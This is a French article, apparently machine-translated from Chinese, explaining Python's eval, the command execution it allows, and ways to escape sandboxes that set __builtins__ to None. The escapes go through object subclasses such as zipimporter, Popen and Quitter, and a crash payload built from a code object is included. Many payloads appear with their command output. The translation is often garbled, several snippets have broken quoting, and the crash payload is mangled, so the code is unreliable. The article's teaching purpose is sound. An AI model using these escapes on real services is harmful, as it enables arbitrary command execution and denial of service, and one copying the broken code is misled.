Maison  >  Article  >  développement back-end  >  Explication détaillée de l'utilisation de eval en python et introduction aux risques potentiels

Explication détaillée de l'utilisation de eval en python et introduction aux risques potentiels

不言
不言avant
2019-03-25 10:41:374715parcourir

Cet article vous apporte une explication détaillée de l'utilisation de eval en python et une introduction aux risques potentiels. Il a une certaine valeur de référence. Les amis dans le besoin peuvent s'y référer. J'espère qu'il vous sera utile.

Préface à eval

In [1]: eval("2+3")
Out[1]: 5

In [2]: eval('[x for x in range(9)]')
Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]

Lorsque le module intégré en mémoire contient os, eval peut également exécuter des commandes :

In [3]: import os

In [4]: eval("os.system('whoami')")
hy-201707271917\administrator
Out[4]: 0

Bien sûr, eval peut exécuter uniquement le code de type d'expression Python ne peut pas être directement utilisé pour les opérations d'importation, mais exec le peut. Si vous devez utiliser eval pour l'importation, utilisez __import__ :

In [8]: eval("__import__('os').system('whoami')")
hy-201707271917\administrator
Out[8]: 0

Dans le code réel, il est souvent nécessaire d'utiliser les données client pour les importer dans eval pour exécution. Par exemple, lors de l'introduction de modules dynamiques, par exemple, il peut y avoir plusieurs robots d'exploration sur une plate-forme de robots d'exploration en ligne et ils sont situés dans différents modules. Le côté serveur n'a souvent besoin d'appeler que le type de robot sélectionné par l'utilisateur côté client. et utilisez exec ou eval sur le backend. Il est très pratique de passer des appels dynamiques et d'implémenter le codage back-end. Cependant, si la demande de l'utilisateur n'est pas traitée correctement, cela entraînera de graves failles de sécurité.

Utilisation « sécurisée » de eval

La plus préconisée maintenant est d'utiliser les deux derniers paramètres de eval pour fixer la liste blanche de la fonction :

La déclaration de la fonction Eval est eval(expression[ , globals[, locals]])

Parmi eux, les deuxième et troisième paramètres spécifient respectivement les fonctions qui peuvent être utilisées dans eval, etc. S'il n'est pas spécifié, la valeur par défaut est le module inclus dans les fonctions et fonctions globals() et locals()

>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined

Si vous spécifiez que seules les fonctions abs peuvent être appelées, vous pouvez utiliser l'écriture suivante :

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
20
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0

L'utilisation de cette méthode de protection peut en effet jouer un certain rôle. Cependant, cette méthode de traitement peut être contournée, provoquant d'autres problèmes

Contourner le code d'exécution 1

Le scénario de contournement est le suivant ! . Xiao Ming sait que eval entraînera certains problèmes de sécurité, utilisez donc les méthodes suivantes pour empêcher eval d'exécuter du code arbitraire :

env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)

__builtins__ en Python est un module intégré utilisé pour définir les éléments intégrés. dans les fonctions, telles que les abdos familiers, les modules ouverts et autres intégrés. Les fonctions sont stockées sous forme de dictionnaires dans ce module. Les deux façons d'écrire suivantes sont équivalentes :

>>> __builtins__.abs(-20)
20
>>> abs(-20)
20

Nous pouvons également personnaliser. fonctions intégrées et utilisez-les comme les fonctions intégrées en Python Utilisez-les :

>>> def hello():
...     print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi

Xiao Ming définit le module intégré dans la portée de la fonction eval sur Aucun, ce qui semble très complet , mais il peut toujours être contourné. __builtins__ est une référence à __builtin__ , sous le module __main__, les deux sont équivalents :

>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136

Selon la méthode mentionnée par Wuyun drops, utilisez le code suivant :

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

Le code ci-dessus Tout d'abord, l'objet objet est chargé dynamiquement à l'aide de __class__ et __subclasses__ En effet, l'objet ne peut pas être utilisé directement dans eval. Ensuite, l'importateur zip de la sous-classe d'objet est utilisé pour importer le module configobj dans. le fichier compressé egg et appelle son module intégré. Le module os implémente l'exécution des commandes. Bien sûr, la condition préalable est qu'il existe un fichier egg de configobj. Le module configobj est en fait un module os intégré. :

>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
0

Les modules similaires à configobj tels que urllib, urllib2, setuptools etc. sont tous intégrés au système d'exploitation. En théorie, vous pouvez en utiliser un. Si vous ne parvenez pas à télécharger le fichier compressé Egg, vous pouvez le faire. pouvez télécharger le dossier avec setup.py, ajouter :

from setuptools import setup, find_packages

puis exécuter :

python setup.py bdist_egg

Vous pouvez trouver le fichier egg correspondant dans le dossier dist. La démo de contournement est la suivante. suit :

>>> env = {}
>>> env["locals"]   = None
>>> env["globals"]  = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
win-20140812chjadministrator
0
>>> eval(users_str, {}, {})
win-20140812chjadministrator
0

Attaque de déni de service 1

objet Il y a beaucoup de choses intéressantes dans la sous-classe. Exécutez le code suivant pour afficher :

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]
Je n'afficherai pas les résultats ici. Si vous l'exécutez, vous pouvez voir de nombreux modules intéressants, tels que file, zipimporter et Quitter wait. Après test, le constructeur du fichier est isolé par le bac à sable de l'interpréteur. Simplement, ou quittez directement la sous-classe Quitter exposée par l'objet :

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})
C:/>

Si vous avez de la chance et rencontrez des modules sensibles tels que os importés dans le programme de l'autre partie, alors Popen peut être utilisé et contourne la restriction selon laquelle __builins__ est vide. Les exemples sont les suivants :

>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
 
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间>>
En fait, il existe de nombreuses situations de ce type, comme l'importation du module os, qui est généralement utilisé pour gérer le chemin. problèmes. Par conséquent, lorsque vous rencontrez cette situation, vous pouvez répertorier un grand nombre de fonctions fonctionnelles pour détecter si la sous-classe de l'objet cible contient des fonctions dangereuses pouvant être utilisées directement.

Attaque de déni de service 2

De même, nous pouvons même contourner __builtins__ en tant que None, provoquant une attaque par déni de service. La charge utile (du blog étranger) est la suivante. :

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})
Lorsque vous exécutez le code ci-dessus, Python plante directement, provoquant une attaque par déni de service. Le principe est de construire un morceau de code, c'est-à-dire un objet code, à travers des lambdas imbriqués. Allouez une pile vide pour cet objet de code et donnez la chaîne de code correspondante, voici KABOOM Si le code est exécuté sur la pile vide, un crash se produira. Une fois la construction terminée, elle peut être déclenchée en appelant la fonction fc. L'idée n'est pas banale.

Résumé

D'après le contenu ci-dessus, nous pouvons voir que le simple fait de définir le module intégré sur vide n'est pas suffisant. Le meilleur mécanisme consiste à construire une liste blanche If. Si vous trouvez cela gênant, vous pouvez utiliser ast.literal_eval au lieu d'unsafe eval.


Cet article est terminé ici. Pour un contenu plus passionnant, vous pouvez faire attention à la colonne

Tutoriel vidéo Python du site Web PHP chinois !

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer